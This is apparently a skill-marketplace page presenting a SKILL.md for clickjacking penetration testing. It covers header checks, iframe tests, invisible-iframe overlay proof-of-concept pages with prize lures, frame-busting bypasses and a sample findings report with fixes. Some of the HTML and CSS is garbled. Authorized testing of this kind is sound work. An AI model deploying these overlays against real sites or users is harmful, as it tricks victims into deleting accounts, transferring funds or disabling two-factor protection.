菜单
Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/autohandai/community-skills --skill performing-clickjacking-attack-test命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | performing-clickjacking-attack-test |
| description | Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
http.server or similar for hosting PoC pagesExamine response headers for anti-clickjacking defenses.
# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)
# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN
# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
/admin/dashboard /change-password /change-email; do
echo -n "$page: "
headers=$(curl -s -I "https://target.example.com$page")
xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
if [ -z "$xfo" ] && [ -z "$csp" ]; then
echo "NO PROTECTION"
else
curl -s | grep -i
Attempt to embed the target page in an iframe to confirm vulnerability.
<!-- basic-frame-test.html -->
<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>
<!-- Test basic framing -->
<iframe src="https://target.example.com/account/settings"
width="800" height="600"
style="border: 2px solid red;">
</iframe>
<p>If you see "Refused to display" in console or blank iframe,
the page has frame protection.</p>
</body>
</html>
# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors
Build an overlay attack that tricks users into clicking hidden elements.
<!-- clickjacking-poc.html -->
<html>
<head>
<title>Win a Prize!</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
/* Invisible iframe containing target page */
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001; /* Nearly invisible */
z-index: 2; /* On top of decoy */
border: none;
}
/* Decoy content that tricks the user */
#decoy {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
background: white;
}
/* Position the "Click here" button exactly over the target's
sensitive button (adjust top/left values based on target layout) */
{
: absolute;
: ;
: ;
: ;
: ;
: white;
: ;
: pointer;
: none;
: ;
}
Congratulations! You Won!
Click the button below to claim your prize
CLAIM PRIZE
For actions requiring multiple clicks, create a multi-step overlay.
<!-- multi-step-clickjacking.html -->
<html>
<head>
<title>Complete Survey</title>
<style>
#target-frame {
position: absolute;
width: 100%;
height: 100%;
opacity: 0.0001;
z-index: 2;
border: none;
}
#step-container {
text-align: center;
margin-top: 200px;
z-index: 1;
position: relative;
}
.step { display: none; }
.step.active { display: block; }
.btn {
padding: 15px 40px;
font-size: 18px;
background: #2196F3;
color: white;
border: none;
cursor: pointer;
margin-top: 20px;
}
</style>
</head>
<body>
< =>
Step 1: Select your reward
Gold Package
Step 2: Confirm your choice
Confirm
Step 3: Claim reward!
Claim Now!
If JavaScript-based frame protection is used, attempt to bypass it.
<!-- Bypass frame-busting JavaScript -->
<!-- Technique 1: sandbox attribute blocks top-level navigation -->
<iframe src="https://target.example.com/account/settings"
sandbox="allow-scripts allow-forms allow-same-origin"
width="800" height="600">
</iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
<!-- Technique 2: Double framing -->
<!-- If target checks: if (top !== self) top.location = self.location -->
<!-- Frame the page through an intermediate page that also frames -->
<iframe src="intermediate.html" width="800" height="600"></iframe>
<!-- intermediate.html contains: <iframe src="https://target.example.com/..."> -->
<!-- Technique 3: Intercept onbeforeunload -->
<script>
window.onbeforeunload = function() {
return "Are you sure?"; // Prevents navigation away
};
</script>
<iframe src="https://target.example.com/account/settings"
width="800" height="600">
</>
Confirm that the clickjacking leads to meaningful impact.
# Host the PoC and test the attack flow
cd /tmp
python3 -m http.server 8888
# Testing steps:
# 1. Log in to target.example.com in the browser
# 2. Open http://localhost:8888/clickjacking-poc.html
# 3. Click the decoy button
# 4. Verify the sensitive action was performed on the target
# For report: adjust iframe opacity to show overlap
# Change opacity from 0.0001 to 0.5 for screenshot evidence
# This shows the target page visible behind the decoy content
# Document which sensitive actions are vulnerable:
# - Account deletion
# - Password/email change
# - Fund transfer
# - Permission/role changes
# - Enabling/disabling security features
| Concept | Description |
|---|---|
| Clickjacking | UI redressing attack that tricks users into clicking hidden elements by overlaying decoy content |
| X-Frame-Options | HTTP header controlling whether a page can be embedded in iframes (DENY, SAMEORIGIN) |
| frame-ancestors | CSP directive specifying valid parents for iframe embedding (supersedes X-Frame-Options) |
| Frame Busting | JavaScript-based defense that attempts to break out of iframes (easily bypassable) |
| Likejacking | Clickjacking variant targeting social media "Like" or "Share" buttons |
| Cursorjacking | Variant using CSS to offset the visible cursor from the actual click position |
| Multi-step Clickjacking | Attack requiring multiple clicks, with decoy content changing at each step |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Examining X-Frame-Options and CSP headers on responses |
| Clickjack Tester (browser) | Browser-based iframe embedding test tool |
| Browser DevTools | Inspecting frame embedding behavior and console errors |
| Python http.server | Hosting clickjacking PoC pages locally |
| OWASP ZAP | Automated detection of missing anti-framing headers |
| securityheaders.com | Online scanner for missing security headers |
The account deletion page at /account/delete has no X-Frame-Options header. An attacker creates a page with a "Win a prize" button positioned over the "Delete My Account" button in a transparent iframe.
A banking application performs transfers via a single button click on a pre-filled form. Without frame protection, the attacker embeds the transfer page in an iframe and overlays a decoy "Play Game" button.
Disabling two-factor authentication requires two clicks (settings link, then disable button). A multi-step clickjacking PoC guides the victim through two decoy clicks that align with the real buttons.
An OAuth consent screen allows framing. The attacker embeds the consent page and tricks the victim into clicking "Authorize", granting the attacker's application access to the victim's account.
## Clickjacking Vulnerability Finding
**Vulnerability**: Clickjacking - Missing Frame Embedding Protection
**Severity**: Medium (CVSS 6.1)
**Location**: /account/settings, /account/delete, /transfer
**OWASP Category**: A04:2021 - Insecure Design
### Headers Analysis
| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |
|------|----------------|--------------------|-|
| / | Not set | Not set | Yes |
| /account/settings | Not set | Not set | Yes |
| /account/delete | Not set | Not set | Yes |
| /transfer | Not set | Not set | Yes |
| /login | SAMEORIGIN | - | No |
### Sensitive Actions Exploitable
1. Account deletion (single click, no re-authentication)
2. Email change (single click, no confirmation)
3. 2FA disable (two clicks, multi-step PoC)
4. Fund transfer (pre-filled form, single click)
### Impact
- Account takeover via email change clickjacking
- Account destruction via delete clickjacking
- Financial loss via transfer clickjacking
- Security downgrade via 2FA disable clickjacking
### Recommendation
1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages
2. Set `X-Frame-Options: DENY` as fallback for older browsers
3. Require re-authentication for sensitive actions (delete, transfer)
4. Add confirmation dialogs that cannot be pre-filled or auto-submitted
5. Implement SameSite=Strict cookies to reduce session availability in frames